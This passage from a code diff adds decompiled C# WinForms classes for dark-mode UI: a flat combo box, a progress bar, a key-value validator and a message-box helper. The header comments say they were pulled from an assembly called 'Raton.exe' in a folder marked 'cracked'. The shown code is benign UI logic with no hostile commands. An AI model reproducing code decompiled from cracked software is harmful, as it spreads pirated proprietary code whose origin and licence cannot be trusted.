||||
public int Top;
|
||||
public int Right;
|
||||
public int Bottom;
|
||||
|
||||
public Rectangle ToRectangle()
|
||||
{
|
||||
return Rectangle.FromLTRB(this.Left, this.Top, this.Right, this.Bottom);
|
||||
}
|
||||
}
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
private delegate IntPtr WndProc(IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
public enum DisplayMode
|
||||
{
|
||||
SystemDefault,
|
||||
ClearMode,
|
||||
DarkMode,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,181 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: DarkModeForms.FlatComboBox
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Drawing2D;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace DarkModeForms;
|
||||
|
||||
public class FlatComboBox : ComboBox
|
||||
{
|
||||
private Color borderColor = Color.Gray;
|
||||
private Color buttonColor = Color.LightGray;
|
||||
private const int WM_PAINT = 15;
|
||||
|
||||
[DefaultValue(typeof (Color), "Gray")]
|
||||
public Color BorderColor
|
||||
{
|
||||
get => this.borderColor;
|
||||
set
|
||||
{
|
||||
if (!(this.borderColor != value))
|
||||
return;
|
||||
this.borderColor = value;
|
||||
this.Invalidate();
|
||||
}
|
||||
}
|
||||
|
||||
[DefaultValue(typeof (Color), "LightGray")]
|
||||
public Color ButtonColor
|
||||
{
|
||||
get => this.buttonColor;
|
||||
set
|
||||
{
|
||||
if (!(this.buttonColor != value))
|
||||
return;
|
||||
this.buttonColor = value;
|
||||
this.Invalidate();
|
||||
}
|
||||
}
|
||||
|
||||
protected override void WndProc(ref Message m)
|
||||
{
|
||||
if (m.Msg == 15 && this.DropDownStyle != ComboBoxStyle.Simple)
|
||||
{
|
||||
Rectangle clientRectangle = this.ClientRectangle;
|
||||
int scrollBarArrowWidth = SystemInformation.HorizontalScrollBarArrowWidth;
|
||||
Rectangle rect1 = new Rectangle(clientRectangle.Location, new Size(clientRectangle.Width - 1, clientRectangle.Height - 1));
|
||||
Rectangle rect2 = new Rectangle(rect1.X + 1, rect1.Y + 1, rect1.Width - scrollBarArrowWidth - 2, rect1.Height - 2);
|
||||
Rectangle rect3 = new Rectangle(rect2.X + 1, rect2.Y + 1, rect2.Width - 2, rect2.Height - 2);
|
||||
Rectangle rect4 = new Rectangle(rect2.Right + 1, rect2.Y - 1, scrollBarArrowWidth, rect2.Height + 2);
|
||||
if (this.RightToLeft == RightToLeft.Yes)
|
||||
{
|
||||
rect2.X = clientRectangle.Width - rect2.Right;
|
||||
rect3.X = clientRectangle.Width - rect3.Right;
|
||||
rect4.X = clientRectangle.Width - rect4.Right;
|
||||
++rect4.Width;
|
||||
}
|
||||
Color color1 = this.Enabled ? this.BackColor : SystemColors.Control;
|
||||
Color color2 = this.Enabled ? this.BorderColor : SystemColors.ControlDark;
|
||||
Color color3 = this.Enabled ? this.ButtonColor : SystemColors.Control;
|
||||
Point point = new Point(rect4.Left + rect4.Width / 2, rect4.Top + rect4.Height / 2);
|
||||
Point[] pointArray1 = new Point[3]
|
||||
{
|
||||
new Point(point.X - 3, point.Y - 2),
|
||||
new Point(point.X + 4, point.Y - 2),
|
||||
new Point(point.X, point.Y + 2)
|
||||
};
|
||||
FlatComboBox.PAINTSTRUCT lpPaint = new FlatComboBox.PAINTSTRUCT();
|
||||
bool flag = false;
|
||||
IntPtr num;
|
||||
if (m.WParam == IntPtr.Zero)
|
||||
{
|
||||
num = FlatComboBox.BeginPaint(this.Handle, ref lpPaint);
|
||||
m.WParam = num;
|
||||
flag = true;
|
||||
}
|
||||
else
|
||||
num = m.WParam;
|
||||
IntPtr rectRgn1 = FlatComboBox.CreateRectRgn(rect3.Left, rect3.Top, rect3.Right, rect3.Bottom);
|
||||
FlatComboBox.SelectClipRgn(num, rectRgn1);
|
||||
this.DefWndProc(ref m);
|
||||
FlatComboBox.DeleteObject(rectRgn1);
|
||||
IntPtr rectRgn2 = FlatComboBox.CreateRectRgn(clientRectangle.Left, clientRectangle.Top, clientRectangle.Right, clientRectangle.Bottom);
|
||||
FlatComboBox.SelectClipRgn(num, rectRgn2);
|
||||
using (Graphics graphics = Graphics.FromHdc(num))
|
||||
{
|
||||
graphics.InterpolationMode = InterpolationMode.HighQualityBilinear;
|
||||
graphics.CompositingQuality = CompositingQuality.HighQuality;
|
||||
graphics.SmoothingMode = SmoothingMode.AntiAlias;
|
||||
using (SolidBrush solidBrush = new SolidBrush(color3))
|
||||
graphics.FillRectangle((Brush) solidBrush, rect4);
|
||||
Size size = new Size(8, 4);
|
||||
Point[] pointArray2 = new Point[3]
|
||||
{
|
||||
new Point(point.X - size.Width / 2, point.Y - size.Height / 2),
|
||||
new Point(point.X + size.Width / 2, point.Y - size.Height / 2),
|
||||
new Point(point.X, point.Y + size.Height / 2)
|
||||
};
|
||||
using (Pen pen = new Pen(this.BorderColor, 2.5f))
|
||||
{
|
||||
graphics.DrawLine(pen, pointArray2[0], pointArray2[2]);
|
||||
graphics.DrawLine(pen, pointArray2[1], pointArray2[2]);
|
||||
}
|
||||
using (Pen pen = new Pen(color1))
|
||||
{
|
||||
graphics.DrawRectangle(pen, rect2);
|
||||
graphics.DrawRectangle(pen, rect3);
|
||||
}
|
||||
using (Pen pen = new Pen(color2))
|
||||
graphics.DrawRectangle(pen, rect1);
|
||||
}
|
||||
if (flag)
|
||||
FlatComboBox.EndPaint(this.Handle, ref lpPaint);
|
||||
FlatComboBox.DeleteObject(rectRgn2);
|
||||
}
|
||||
else
|
||||
base.WndProc(ref m);
|
||||
}
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr BeginPaint(IntPtr hWnd, [In, Out] ref FlatComboBox.PAINTSTRUCT lpPaint);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool EndPaint(IntPtr hWnd, ref FlatComboBox.PAINTSTRUCT lpPaint);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
public static extern int SelectClipRgn(IntPtr hDC, IntPtr hRgn);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int GetUpdateRgn(IntPtr hwnd, IntPtr hrgn, bool fErase);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
internal static extern bool DeleteObject(IntPtr hObject);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
private static extern IntPtr CreateRectRgn(int x1, int y1, int x2, int y2);
|
||||
|
||||
public struct RECT
|
||||
{
|
||||
public int L;
|
||||
public int T;
|
||||
public int R;
|
||||
public int B;
|
||||
}
|
||||
|
||||
public struct PAINTSTRUCT
|
||||
{
|
||||
public IntPtr hdc;
|
||||
public bool fErase;
|
||||
public int rcPaint_left;
|
||||
public int rcPaint_top;
|
||||
public int rcPaint_right;
|
||||
public int rcPaint_bottom;
|
||||
public bool fRestore;
|
||||
public bool fIncUpdate;
|
||||
public int reserved1;
|
||||
public int reserved2;
|
||||
public int reserved3;
|
||||
public int reserved4;
|
||||
public int reserved5;
|
||||
public int reserved6;
|
||||
public int reserved7;
|
||||
public int reserved8;
|
||||
}
|
||||
|
||||
public enum RegionFlags
|
||||
{
|
||||
ERROR,
|
||||
NULLREGION,
|
||||
SIMPLEREGION,
|
||||
COMPLEXREGION,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,111 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: DarkModeForms.FlatProgressBar
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace DarkModeForms;
|
||||
|
||||
public class FlatProgressBar : ProgressBar
|
||||
{
|
||||
private int min;
|
||||
private int max = 100;
|
||||
private int val;
|
||||
private Color BarColor = Color.Green;
|
||||
|
||||
public FlatProgressBar() => this.SetStyle(ControlStyles.UserPaint, true);
|
||||
|
||||
protected override void OnPaintBackground(PaintEventArgs pevent)
|
||||
{
|
||||
}
|
||||
|
||||
protected override void OnResize(EventArgs e) => this.Invalidate();
|
||||
|
||||
protected override void OnPaint(PaintEventArgs e)
|
||||
{
|
||||
Graphics graphics = e.Graphics;
|
||||
SolidBrush solidBrush = new SolidBrush(this.BarColor);
|
||||
Brush brush = (Brush) new SolidBrush(this.BackColor);
|
||||
float num = (float) (this.val - this.min) / (float) (this.max - this.min);
|
||||
Rectangle clientRectangle = this.ClientRectangle;
|
||||
clientRectangle.Width = (int) ((double) clientRectangle.Width * (double) num);
|
||||
graphics.FillRectangle(brush, this.ClientRectangle);
|
||||
graphics.FillRectangle((Brush) solidBrush, clientRectangle);
|
||||
solidBrush.Dispose();
|
||||
graphics.Dispose();
|
||||
}
|
||||
|
||||
public new int Minimum
|
||||
{
|
||||
get => this.min;
|
||||
set
|
||||
{
|
||||
if (value < 0)
|
||||
value = 0;
|
||||
if (value > this.max)
|
||||
this.max = value;
|
||||
this.min = value;
|
||||
if (this.val < this.min)
|
||||
this.val = this.min;
|
||||
this.Invalidate();
|
||||
}
|
||||
}
|
||||
|
||||
public new int Maximum
|
||||
{
|
||||
get => this.max;
|
||||
set
|
||||
{
|
||||
if (value < this.min)
|
||||
this.min = value;
|
||||
this.max = value;
|
||||
if (this.val > this.max)
|
||||
this.val = this.max;
|
||||
this.Invalidate();
|
||||
}
|
||||
}
|
||||
|
||||
public new int Value
|
||||
{
|
||||
get => this.val;
|
||||
set
|
||||
{
|
||||
int val = this.val;
|
||||
this.val = value >= this.min ? (value <= this.max ? value : this.max) : this.min;
|
||||
Rectangle clientRectangle1 = this.ClientRectangle;
|
||||
Rectangle clientRectangle2 = this.ClientRectangle;
|
||||
float num1 = (float) (this.val - this.min) / (float) (this.max - this.min);
|
||||
clientRectangle1.Width = (int) ((double) clientRectangle1.Width * (double) num1);
|
||||
float num2 = (float) (val - this.min) / (float) (this.max - this.min);
|
||||
clientRectangle2.Width = (int) ((double) clientRectangle2.Width * (double) num2);
|
||||
Rectangle rc = new Rectangle();
|
||||
if (clientRectangle1.Width > clientRectangle2.Width)
|
||||
{
|
||||
rc.X = clientRectangle2.Size.Width;
|
||||
rc.Width = clientRectangle1.Width - clientRectangle2.Width;
|
||||
}
|
||||
else
|
||||
{
|
||||
rc.X = clientRectangle1.Size.Width;
|
||||
rc.Width = clientRectangle2.Width - clientRectangle1.Width;
|
||||
}
|
||||
rc.Height = this.Height;
|
||||
this.Invalidate(rc);
|
||||
}
|
||||
}
|
||||
|
||||
public Color ProgressBarColor
|
||||
{
|
||||
get => this.BarColor;
|
||||
set
|
||||
{
|
||||
this.BarColor = value;
|
||||
this.Invalidate();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: DarkModeForms.KeyValue
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
#nullable disable
|
||||
namespace DarkModeForms;
|
||||
|
||||
public class KeyValue
|
||||
{
|
||||
private string _value;
|
||||
|
||||
public KeyValue()
|
||||
{
|
||||
}
|
||||
|
||||
public KeyValue(string pKey, string pValue, KeyValue.ValueTypes pType = KeyValue.ValueTypes.String, List<KeyValue> pDataSet = null)
|
||||
{
|
||||
this.Key = pKey;
|
||||
this.Value = pValue;
|
||||
this.ValueType = pType;
|
||||
this.DataSet = pDataSet;
|
||||
}
|
||||
|
||||
public string Key { get; set; }
|
||||
|
||||
public string Value
|
||||
{
|
||||
get => this._value;
|
||||
set
|
||||
{
|
||||
string newValue = value;
|
||||
this.OnValidate(ref newValue);
|
||||
if (!(this._value != newValue))
|
||||
return;
|
||||
this._value = newValue;
|
||||
}
|
||||
}
|
||||
|
||||
public KeyValue.ValueTypes ValueType { get; set; }
|
||||
|
||||
public List<KeyValue> DataSet { get; set; }
|
||||
|
||||
public string ErrorText { get; set; } = string.Empty;
|
||||
|
||||
public event EventHandler<KeyValue.ValidateEventArgs> Validate;
|
||||
|
||||
protected virtual void OnValidate(ref string newValue)
|
||||
{
|
||||
EventHandler<KeyValue.ValidateEventArgs> validate = this.Validate;
|
||||
if (validate == null)
|
||||
return;
|
||||
KeyValue.ValidateEventArgs e = new KeyValue.ValidateEventArgs(newValue)
|
||||
{
|
||||
OldValue = this._value
|
||||
};
|
||||
validate((object) this, e);
|
||||
if (e.Cancel)
|
||||
newValue = this._value;
|
||||
this.ErrorText = e.ErrorText;
|
||||
}
|
||||
|
||||
public override string ToString() => $"{this.Key} - {this.Value}";
|
||||
|
||||
public enum ValueTypes
|
||||
{
|
||||
String,
|
||||
Integer,
|
||||
Decimal,
|
||||
Date,
|
||||
Time,
|
||||
Boolean,
|
||||
Dynamic,
|
||||
Password,
|
||||
Multiline,
|
||||
}
|
||||
|
||||
public class ValidateEventArgs : EventArgs
|
||||
{
|
||||
public ValidateEventArgs(string newValue)
|
||||
{
|
||||
this.NewValue = newValue;
|
||||
this.Cancel = false;
|
||||
}
|
||||
|
||||
public string NewValue { get; }
|
||||
|
||||
public string OldValue { get; set; }
|
||||
|
||||
public bool Cancel { get; set; }
|
||||
|
||||
public string ErrorText { get; set; } = string.Empty;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,910 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: DarkModeForms.Messenger
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Globalization;
|
||||
using System.Linq;
|
||||
using System.Windows;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace DarkModeForms;
|
||||
|
||||
public static class Messenger
|
||||
{
|
||||
private static Action<object, KeyValue.ValidateEventArgs> ValidateControlsHandler;
|
||||
private static MessageBoxDefaultButton _defaultButton;
|
||||
private static Dictionary<Control, Timer> timers;
|
||||
|
||||
public static event Action<object, KeyValue.ValidateEventArgs> ValidateControls
|
||||
{
|
||||
add => Messenger.ValidateControlsHandler += value;
|
||||
remove => Messenger.ValidateControlsHandler -= value;
|
||||
}
|
||||
|
||||
private static void ResetEvents()
|
||||
{
|
||||
Messenger.ValidateControlsHandler = (Action<object, KeyValue.ValidateEventArgs>) null;
|
||||
}
|
||||
|
||||
public static DialogResult MessageBox(string Message)
|
||||
{
|
||||
return Messenger.MessageBox(Message, string.Empty, MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
|
||||
public static DialogResult MessageBox(Exception ex, bool ShowTrace = true)
|
||||
{
|
||||
return Messenger.MessageBox(ex.Message + (ShowTrace ? "\r\n" + ex.StackTrace : ""), "Error!", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
|
||||
public static DialogResult MessageBox(
|
||||
string Message,
|
||||
string title,
|
||||
MessageBoxButtons buttons = MessageBoxButtons.OK,
|
||||
MessageBoxIcon icon = MessageBoxIcon.Asterisk,
|
||||
bool pIsDarkMode = true)
|
||||
{
|
||||
MsgIcon Icon = MsgIcon.None;
|
||||
switch (icon)
|
||||
{
|
||||
case MessageBoxIcon.Hand:
|
||||
Icon = MsgIcon.Error;
|
||||
break;
|
||||
case MessageBoxIcon.Question:
|
||||
Icon = MsgIcon.Question;
|
||||
break;
|
||||
case MessageBoxIcon.Exclamation:
|
||||
Icon = MsgIcon.Warning;
|
||||
break;
|
||||
case MessageBoxIcon.Asterisk:
|
||||
Icon = MsgIcon.Success;
|
||||
break;
|
||||
}
|
||||
return Messenger.MessageBox(Message, title, Icon, buttons, pIsDarkMode);
|
||||
}
|
||||
|
||||
public static DialogResult MessageBox(
|
||||
string Message,
|
||||
string title,
|
||||
MessageBoxButtons buttons,
|
||||
MessageBoxIcon icon,
|
||||
MessageBoxDefaultButton DefaultButton,
|
||||
bool pIsDarkMode = true)
|
||||
{
|
||||
Messenger._defaultButton = DefaultButton;
|
||||
return Messenger.MessageBox(Message, title, buttons, icon, pIsDarkMode);
|
||||
}
|
||||
|
||||
public static DialogResult MessageBox(
|
||||
string Message,
|
||||
string title,
|
||||
MessageBoxButtons buttons = MessageBoxButtons.OK,
|
||||
MsgIcon icon = MsgIcon.None,
|
||||
bool pIsDarkMode = true)
|
||||
{
|
||||
return Messenger.MessageBox(Message, title, icon, buttons, pIsDarkMode);
|
||||
}
|
||||
|
||||
public static DialogResult MessageBox(
|
||||
Form pOwner,
|
||||
string Message,
|
||||
string title,
|
||||
MessageBoxButtons buttons,
|
||||
MsgIcon icon = MsgIcon.None,
|
||||
bool pIsDarkMode = true)
|
||||
{
|
||||
return Messenger.MessageBox(Message, title, icon, buttons, pIsDarkMode, owner: pOwner);
|
||||
}
|
||||
|
||||
public static DialogResult MessageBox(
|
||||
string Message,
|
||||
string title,
|
||||
MsgIcon Icon,
|
||||
MessageBoxButtons buttons = MessageBoxButtons.OK,
|
||||
bool pIsDarkMode = true,
|
||||
MessageBoxDefaultButton defaultButton = MessageBoxDefaultButton.Button1,
|
||||
Form owner = null)
|
||||
{
|
||||
Form form1 = new Form();
|
||||
form1.FormBorderStyle = FormBorderStyle.FixedDialog;
|
||||
form1.StartPosition = FormStartPosition.CenterParent;
|
||||
form1.MaximizeBox = false;
|
||||
form1.MinimizeBox = false;
|
||||
form1.Text = title;
|
||||
form1.Width = 340;
|
||||
form1.Height = 170;
|
||||
form1.KeyPreview = true;
|
||||
Form form = form1;
|
||||
if (owner != null)
|
||||
form.Owner = owner;
|
||||
DarkMode.Start(form);
|
||||
Base64Icons base64Icons = new Base64Icons();
|
||||
int height = System.Drawing.SystemFonts.DefaultFont.Height;
|
||||
Panel panel1 = new Panel();
|
||||
panel1.Dock = DockStyle.Bottom;
|
||||
panel1.Height = 48 /*0x30*/;
|
||||
panel1.BackColor = Color.Transparent;
|
||||
panel1.BorderStyle = BorderStyle.None;
|
||||
Panel panel2 = panel1;
|
||||
form.Controls.Add((Control) panel2);
|
||||
Dictionary<string, string> buttonTranslations = Messenger.GetButtonTranslations(Messenger.GetCurrentLanguage());
|
||||
List<Button> buttonList1 = new List<Button>();
|
||||
switch (buttons)
|
||||
{
|
||||
case MessageBoxButtons.OK:
|
||||
List<Button> buttonList2 = buttonList1;
|
||||
Button button1 = new Button();
|
||||
button1.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button1.DialogResult = DialogResult.OK;
|
||||
button1.Text = buttonTranslations["OK"];
|
||||
button1.Height = height + 10;
|
||||
button1.FlatStyle = FlatStyle.System;
|
||||
buttonList2.Add(button1);
|
||||
form.AcceptButton = (IButtonControl) buttonList1[0];
|
||||
form.KeyPreview = true;
|
||||
form.KeyDown += (KeyEventHandler) ((s, e) =>
|
||||
{
|
||||
if (e.KeyCode != Keys.Escape)
|
||||
return;
|
||||
form.Close();
|
||||
});
|
||||
form.FormClosed += (FormClosedEventHandler) ((s, e) => form.DialogResult = DialogResult.OK);
|
||||
break;
|
||||
case MessageBoxButtons.OKCancel:
|
||||
List<Button> buttonList3 = buttonList1;
|
||||
Button button2 = new Button();
|
||||
button2.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button2.DialogResult = DialogResult.OK;
|
||||
button2.Text = buttonTranslations["OK"];
|
||||
button2.Height = height + 10;
|
||||
button2.FlatStyle = FlatStyle.System;
|
||||
buttonList3.Add(button2);
|
||||
List<Button> buttonList4 = buttonList1;
|
||||
Button button3 = new Button();
|
||||
button3.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button3.DialogResult = DialogResult.Cancel;
|
||||
button3.Text = buttonTranslations["Cancel"];
|
||||
button3.FlatStyle = FlatStyle.System;
|
||||
buttonList4.Add(button3);
|
||||
form.AcceptButton = (IButtonControl) buttonList1[0];
|
||||
form.CancelButton = (IButtonControl) buttonList1[1];
|
||||
break;
|
||||
case MessageBoxButtons.AbortRetryIgnore:
|
||||
List<Button> buttonList5 = buttonList1;
|
||||
Button button4 = new Button();
|
||||
button4.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button4.DialogResult = DialogResult.Abort;
|
||||
button4.Text = buttonTranslations["Abort"];
|
||||
buttonList5.Add(button4);
|
||||
List<Button> buttonList6 = buttonList1;
|
||||
Button button5 = new Button();
|
||||
button5.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button5.DialogResult = DialogResult.Retry;
|
||||
button5.Text = buttonTranslations["Retry"];
|
||||
buttonList6.Add(button5);
|
||||
List<Button> buttonList7 = buttonList1;
|
||||
Button button6 = new Button();
|
||||
button6.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button6.DialogResult = DialogResult.Ignore;
|
||||
button6.Text = buttonTranslations["Ignore"];
|
||||
buttonList7.Add(button6);
|
||||
form.AcceptButton = (IButtonControl) buttonList1[0];
|
||||
form.ControlBox = false;
|
||||
break;
|
||||
case MessageBoxButtons.YesNoCancel:
|
||||
List<Button> buttonList8 = buttonList1;
|
||||
Button button7 = new Button();
|
||||
button7.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button7.DialogResult = DialogResult.Yes;
|
||||
button7.Text = buttonTranslations["Yes"];
|
||||
buttonList8.Add(button7);
|
||||
List<Button> buttonList9 = buttonList1;
|
||||
Button button8 = new Button();
|
||||
button8.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button8.DialogResult = DialogResult.No;
|
||||
button8.Text = buttonTranslations["No"];
|
||||
buttonList9.Add(button8);
|
||||
List<Button> buttonList10 = buttonList1;
|
||||
Button button9 = new Button();
|
||||
button9.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button9.DialogResult = DialogResult.Cancel;
|
||||
button9.Text = buttonTranslations["Cancel"];
|
||||
buttonList10.Add(button9);
|
||||
form.AcceptButton = (IButtonControl) buttonList1[0];
|
||||
form.CancelButton = (IButtonControl) buttonList1[2];
|
||||
break;
|
||||
case MessageBoxButtons.YesNo:
|
||||
List<Button> buttonList11 = buttonList1;
|
||||
Button button10 = new Button();
|
||||
button10.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button10.DialogResult = DialogResult.Yes;
|
||||
button10.Text = buttonTranslations["Yes"];
|
||||
buttonList11.Add(button10);
|
||||
List<Button> buttonList12 = buttonList1;
|
||||
Button button11 = new Button();
|
||||
button11.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button11.DialogResult = DialogResult.No;
|
||||
button11.Text = buttonTranslations["No"];
|
||||
buttonList12.Add(button11);
|
||||
form.AcceptButton = (IButtonControl) buttonList1[0];
|
||||
form.ControlBox = false;
|
||||
break;
|
||||
case MessageBoxButtons.RetryCancel:
|
||||
List<Button> buttonList13 = buttonList1;
|
||||
Button button12 = new Button();
|
||||
button12.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button12.DialogResult = DialogResult.Retry;
|
||||
button12.Text = buttonTranslations["Retry"];
|
||||
button12.FlatStyle = FlatStyle.System;
|
||||
buttonList13.Add(button12);
|
||||
List<Button> buttonList14 = buttonList1;
|
||||
Button button13 = new Button();
|
||||
button13.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button13.DialogResult = DialogResult.Cancel;
|
||||
button13.Text = buttonTranslations["Cancel"];
|
||||
buttonList14.Add(button13);
|
||||
form.AcceptButton = (IButtonControl) buttonList1[0];
|
||||
form.CancelButton = (IButtonControl) buttonList1[1];
|
||||
break;
|
||||
}
|
||||
int num1 = 4;
|
||||
int num2 = form.ClientSize.Width;
|
||||
Font font = System.Drawing.SystemFonts.MessageBoxFont ?? System.Drawing.SystemFonts.DefaultFont;
|
||||
using (Graphics graphics = form.CreateGraphics())
|
||||
{
|
||||
for (int index = buttonList1.Count - 1; index >= 0; --index)
|
||||
{
|
||||
Button button14 = buttonList1[index];
|
||||
panel2.Controls.Add((Control) button14);
|
||||
button14.TabIndex = index;
|
||||
button14.Font = font;
|
||||
SizeF sizeF = graphics.MeasureString(button14.Text, font);
|
||||
button14.Size = new System.Drawing.Size((int) sizeF.Width + 20, font.Height + 10);
|
||||
button14.Location = new System.Drawing.Point(num2 - (button14.Width + num1), (panel2.Height - button14.Height) / 2);
|
||||
num2 = button14.Left;
|
||||
}
|
||||
}
|
||||
int defaultButton1 = (int) Messenger._defaultButton;
|
||||
if (defaultButton1 > 0)
|
||||
{
|
||||
int index = defaultButton1 >> 8;
|
||||
if (index < buttonList1.Count)
|
||||
{
|
||||
buttonList1[index].Select();
|
||||
buttonList1[index].FlatStyle = FlatStyle.Flat;
|
||||
}
|
||||
}
|
||||
int num3 = 45;
|
||||
Rectangle rectangle = new Rectangle(12, 12, 0, 0);
|
||||
if (Icon != MsgIcon.None)
|
||||
{
|
||||
PictureBox pictureBox1 = new PictureBox();
|
||||
pictureBox1.SizeMode = PictureBoxSizeMode.Zoom;
|
||||
pictureBox1.Size = new System.Drawing.Size(num3, num3);
|
||||
PictureBox pictureBox2 = pictureBox1;
|
||||
pictureBox2.Image = base64Icons.GetIcon(Icon);
|
||||
form.Controls.Add((Control) pictureBox2);
|
||||
rectangle.Size = new System.Drawing.Size(num3, num3);
|
||||
pictureBox2.SetBounds(rectangle.X, rectangle.Y, rectangle.Width, rectangle.Height);
|
||||
pictureBox2.BringToFront();
|
||||
}
|
||||
Label label1 = new Label();
|
||||
label1.Text = Message;
|
||||
label1.AutoSize = false;
|
||||
label1.TextAlign = ContentAlignment.MiddleLeft;
|
||||
label1.Location = new System.Drawing.Point(rectangle.X + rectangle.Width + 10, rectangle.Y);
|
||||
label1.Size = new System.Drawing.Size(form.ClientSize.Width - (rectangle.X + rectangle.Width) - 20, num3);
|
||||
Label label2 = label1;
|
||||
form.Controls.Add((Control) label2);
|
||||
form.ClientSize = new System.Drawing.Size(340, panel2.Height + label2.Height + 20);
|
||||
string localMessage = Message;
|
||||
string localTitle = title;
|
||||
form.KeyDown += (KeyEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (!e.Control || e.KeyCode != Keys.C)
|
||||
return;
|
||||
System.Windows.Forms.Clipboard.SetText($"Title: {localTitle}\r\nMessage: {localMessage}");
|
||||
e.Handled = true;
|
||||
});
|
||||
return form.ShowDialog();
|
||||
}
|
||||
|
||||
private static MessageBoxButtons ToWinForms(MessageBoxButton btn)
|
||||
{
|
||||
switch (btn)
|
||||
{
|
||||
case MessageBoxButton.OKCancel:
|
||||
return MessageBoxButtons.OKCancel;
|
||||
case MessageBoxButton.YesNoCancel:
|
||||
return MessageBoxButtons.YesNoCancel;
|
||||
case MessageBoxButton.YesNo:
|
||||
return MessageBoxButtons.YesNo;
|
||||
default:
|
||||
return MessageBoxButtons.OK;
|
||||
}
|
||||
}
|
||||
|
||||
private static MsgIcon ToMsgIcon(MessageBoxImage img)
|
||||
{
|
||||
switch (img)
|
||||
{
|
||||
case MessageBoxImage.Hand:
|
||||
return MsgIcon.Error;
|
||||
case MessageBoxImage.Question:
|
||||
return MsgIcon.Question;
|
||||
case MessageBoxImage.Exclamation:
|
||||
return MsgIcon.Warning;
|
||||
case MessageBoxImage.Asterisk:
|
||||
return MsgIcon.Info;
|
||||
default:
|
||||
return MsgIcon.None;
|
||||
}
|
||||
}
|
||||
|
||||
private static MessageBoxResult ToWpfResult(DialogResult r)
|
||||
{
|
||||
switch (r)
|
||||
{
|
||||
case DialogResult.OK:
|
||||
return MessageBoxResult.OK;
|
||||
case DialogResult.Cancel:
|
||||
return MessageBoxResult.Cancel;
|
||||
case DialogResult.Yes:
|
||||
return MessageBoxResult.Yes;
|
||||
case DialogResult.No:
|
||||
return MessageBoxResult.No;
|
||||
default:
|
||||
return MessageBoxResult.None;
|
||||
}
|
||||
}
|
||||
|
||||
public static MessageBoxResult MessageBox(
|
||||
string message,
|
||||
string title = "",
|
||||
MessageBoxButton buttons = MessageBoxButton.OK,
|
||||
MessageBoxImage icon = MessageBoxImage.None,
|
||||
bool pIsDarkMode = true)
|
||||
{
|
||||
MessageBoxButtons winForms = Messenger.ToWinForms(buttons);
|
||||
MsgIcon msgIcon = Messenger.ToMsgIcon(icon);
|
||||
return Messenger.ToWpfResult(Messenger.MessageBox(message, title, msgIcon, winForms, pIsDarkMode));
|
||||
}
|
||||
|
||||
public static DialogResult InputBox(
|
||||
string title,
|
||||
string promptText,
|
||||
ref List<KeyValue> Fields,
|
||||
MsgIcon Icon = MsgIcon.None,
|
||||
MessageBoxButtons buttons = MessageBoxButtons.OK,
|
||||
bool pIsDarkMode = true)
|
||||
{
|
||||
Form form1 = new Form();
|
||||
form1.FormBorderStyle = FormBorderStyle.FixedDialog;
|
